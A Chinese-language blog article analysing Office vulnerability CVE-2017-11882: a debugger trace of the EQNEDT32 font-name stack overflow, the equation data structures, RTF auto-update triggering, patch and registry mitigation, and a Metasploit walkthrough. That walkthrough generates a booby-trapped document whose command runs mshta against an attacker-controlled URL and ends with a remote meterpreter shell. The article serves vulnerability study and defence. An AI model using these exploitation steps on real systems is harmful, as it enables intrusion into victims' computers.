您好,登錄后才能下訂單哦!
這篇文章將為大家詳細(xì)講解有關(guān)Office系列漏洞CVE-2017-11882是什么意思,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對相關(guān)知識(shí)有一定的了解。
一、漏洞簡介
CVE-2017-11882屬于緩沖區(qū)溢出類型漏洞,產(chǎn)生漏洞原因于EQNEDT32.EXE(微軟office自帶公式編輯器)進(jìn)程在讀入包含MathType的ole數(shù)據(jù)時(shí),在拷貝公式字體名稱(Font Name數(shù)據(jù))時(shí)沒有對名稱長度進(jìn)行校驗(yàn),導(dǎo)致緩沖區(qū)溢出。通過覆蓋函數(shù)的返回地址,可執(zhí)行任意代碼。
2017年11月14日,微軟發(fā)布了11月份的安全補(bǔ)丁更新,影響流行的所有Office版本。
漏洞基本信息 | |
---|---|
漏洞ID | CVE-2017-11882 |
漏洞名稱 | Microsoft Office數(shù)學(xué)公式編輯器內(nèi)存損壞漏洞 |
漏洞類型 | 遠(yuǎn)程代碼執(zhí)行 |
威脅類型 | 棧溢出 |
影響版本 | Microsoft Office 2000/2003/2007sp3/2010sp2/2013sp1/2016 |
二、漏洞測試
系統(tǒng)環(huán)境 | Win7 32 |
---|---|
Microsoft Office | 2013 sp1 |
生成測試漏洞文件 | https://github.com/Ridter/CVE-2017-11882 |
使用Command_CVE-2017-11882.py腳本生成漏洞文件。
有兩種方式,我們先測試第一種彈出計(jì)算器。
三、漏洞定位
由于緩沖區(qū)溢出函數(shù)處于EQNEDT32進(jìn)程中,所以對它進(jìn)行調(diào)試分析,打開漏洞文件會(huì)彈出計(jì)算器,一般采用Winexec函數(shù)調(diào)用,可對該函數(shù)進(jìn)行下斷,然后進(jìn)行逆推找出溢出點(diǎn)。
首先把eqnedt32.exe拖進(jìn)od運(yùn)行(或打開后進(jìn)行附加),然后定位WinExec進(jìn)行下斷,打開漏洞文件test.doc,此時(shí)斷點(diǎn)會(huì)停在WinExec函數(shù)上。
由于漏洞利用采用函數(shù)覆蓋返回地址,那我們可以從棧中找出漏洞函數(shù)的上層或上上層函數(shù)繼續(xù)進(jìn)行分析。
在4115A7函數(shù)上下好斷點(diǎn),重新打開漏洞文件,斷下后進(jìn)行步過(F8)分析,在步過第一個(gè)call后并沒有返回,而是直接彈出了計(jì)算器,這就說明漏洞溢出點(diǎn)在這個(gè)call里面,也就是把棧中返回地址4115D8進(jìn)行了覆蓋,從而轉(zhuǎn)向shellcode執(zhí)行。
上圖是調(diào)用41160F,棧中保存的原始返回地址
在copy字體名字的時(shí)候,由于沒有校驗(yàn)名稱長度,導(dǎo)致緩沖區(qū)溢出,從而過長的數(shù)據(jù)覆蓋了該函數(shù)的返回地址4115D8。
IDA分析可以看到[ebp+28]就是溢出緩沖區(qū)。
[ebp+28]分配的空間是0x24,超過此長度就會(huì)產(chǎn)生溢出,從而覆蓋返回地址。
在經(jīng)過溢出點(diǎn)后,原始返回地址4115D8被覆蓋成402114。
這里覆蓋后的地址是402114,Retn后回轉(zhuǎn)到該地址處執(zhí)行,
Retn執(zhí)行后會(huì)轉(zhuǎn)向12F350處,存放的就是FONT[name]數(shù)據(jù),也就是shellcode。
Shellcode中callWinExec函數(shù)彈出calc.exe。
成功彈出計(jì)算器。
四、數(shù)據(jù)結(jié)構(gòu)分析
漏洞出現(xiàn)在模塊EQNEDT32.EXE中,該模塊以O(shè)LE技術(shù)(Object Linking and Embedding,對象鏈接與嵌入)將公式嵌入在Office文檔內(nèi)。當(dāng)插入和編輯數(shù)學(xué)公式時(shí),EQNEDT32.EXE并不會(huì)被作為Office進(jìn)程(如Word等)的子進(jìn)程創(chuàng)建,而是以單獨(dú)的進(jìn)程形式存在。這就意味著對于word、excel等Office進(jìn)程的保護(hù)機(jī)制,無法阻止EQNEDT32.EXE這個(gè)進(jìn)程被利用。漏洞存在于EQNEDT32.EXE處理Office OLE Equation對象中標(biāo)記為字體名稱記錄的字節(jié)流中,如果Equation對象中存在標(biāo)記為字體名稱的超長字節(jié)流,則程序在處理該字符串的過程,會(huì)由于判斷字符串長度而發(fā)生棧溢出漏洞。
Equation Native數(shù)據(jù)流= EQNOLEFILEHDR + MTEFData,其中
MTEFData = MTEFheader + MTEF Byte Stream
EQNOLEFILEHDR頭結(jié)構(gòu)(共28字節(jié))如下
struct EQNOLEFILEHDR {
WORD cbHdr; // 格式頭長度,固定為0x1C。
DWORD version; // 固定為0x00020000。
WORD cf; // 該公式對象的剪貼板格式。
DWORD cbObject; // MTEF數(shù)據(jù)的長度,不包括頭部。
DWORD reserved1; // 未公開
DWORD reserved2; // 未公開
DWORD reserved3; // 未公開
DWORD reserved4; // 未公開
};
對應(yīng)的數(shù)據(jù)如下圖
MTEFheader
byte | description | value |
---|---|---|
0 | MTEF version | 3 |
1 | generating platform | 0 for Macintosh, 1 for Windows |
2 | generating product | 0 for MathType, 1 for Equation Editor |
3 | product version | 3 |
4 | product subversion | 0 |
MTEFByte Stream
value | symbol | description |
---|---|---|
0 | END | end of MTEF, pile, line, embellishment list, or template |
1 | LINE | line (slot) record |
2 | CHAR | character record |
3 | TMPL | template record |
4 | PILE | pile (vertical stack of lines) record |
5 | MATRIX | matrix record |
6 | EMBELL | character embellishment (e.g. hat, prime) record |
7 | RULER | ruler (tab-stop location) record |
8 | FONT | font name record |
9 | SIZE | general size record |
10 | FULL | full size record |
11 | SUB | subscript size record |
12 | SUB2 | sub-subscript size record |
13 | SYM | symbol size record |
14 | SUBSYM | sub-symbol size record |
參考:http://rtf2latex2e.sourceforge.net/MTEF3.html
數(shù)據(jù) 8 對應(yīng)的數(shù)據(jù)類型為FONT,記錄及結(jié)構(gòu)如下:
struct stuFontRecord {
BYTE bTag; // 字體文件的tag位0x08
BYTE bTypeFace; // 字體風(fēng)格
BYTE bStyle; // 字體樣式
BYTE bFontName[n] // 字體名稱,以NULL為結(jié)束符
};
字段 | 值 | 說明 |
---|---|---|
Tag | 0×08 | 1字節(jié),固定為0×08 |
tface | typeface number | 1字節(jié),Typeface編號(hào) |
style | 1或者2 | 1字節(jié),1表示斜體,2表示粗體 |
name | Font name (null-terminated) | 字體名字,以Null結(jié)尾 |
對應(yīng)的數(shù)據(jù)如下圖
五、RTF結(jié)構(gòu)分析
其中,\objupdate控制字來保證OLE對象的自動(dòng)更新和加載,從而觸發(fā)漏洞代碼執(zhí)行。默認(rèn)狀態(tài)下Office文檔中的OLE Object需要用戶雙擊才能生效。將OLE Object的屬性為自動(dòng)更新,這樣無需交互,點(diǎn)擊打開文檔后OLE Object對象會(huì)生效,從而執(zhí)行惡意代碼。
對漏洞文件ole對象分析
可以看到插入了數(shù)學(xué)公式ole對象
查看ole對象的目錄結(jié)構(gòu)
可以看到ole對象中包含了EquationNative流
使用olebrowse工具查看Equation Native 流
六、MSF利用
環(huán)境準(zhǔn)備
目標(biāo)機(jī) | Win7以及具有該漏洞的office |
---|---|
攻擊機(jī) | Kali linux |
Msf組件 | https://github.com/0x09AL/CVE-2017-11882-metasploit |
首先下載組件
把cve_2017_11882.rbcopy到
/usr/share/Metasploit-framework/modules/exploits/windows/smb
再Copycve-2017-11882.rtf 到/usr/share/metasploit-framework/data/exploits
啟動(dòng)metasploit
使用search命令查找11882對應(yīng)模塊,用命令use exploit/windows/smb/cve_2017_11882
showoptions查看要設(shè)置的參數(shù)
設(shè)置一個(gè)反彈式的meterpreter攻擊載荷
設(shè)置本機(jī)ip以及URI路徑
使用命令exploit-j 返回結(jié)果會(huì)顯示出與目標(biāo)主機(jī)的哪個(gè)端口建立了連接
生成目標(biāo)機(jī)的漏洞文檔,命令如下
PythonCommand109b_CVE-2017-11882.py -c “mshta http://192.168.106.132:8080/test”-o test.doc
這里的為攻擊機(jī)的ip,端口設(shè)置8080以及URI設(shè)置test,生成后,在目標(biāo)機(jī)打開該文檔。
如果成功,meterpreter會(huì)顯示返回連接信息,如失敗,可能是參數(shù)錯(cuò)誤或者其它錯(cuò)誤
成功后,使用命令sessions-l 查看你控制的pc
使用命令sessions-i 1 切換進(jìn)入,輸入shell,進(jìn)入cmd,whoami,OVER。
七、修復(fù)漏洞
(1)下載https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882更新補(bǔ)丁進(jìn)行修補(bǔ)
(2)開啟Windows Update功能,定期對系統(tǒng)進(jìn)行自動(dòng)更新
取消該模塊的注冊
(1)按下Win+R組合鍵,打開cmd.exe
(2)輸入以下兩條命令:
reg add“HKLM\SOFTWARE\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400
reg add“HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400
關(guān)于Office系列漏洞CVE-2017-11882是什么意思就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。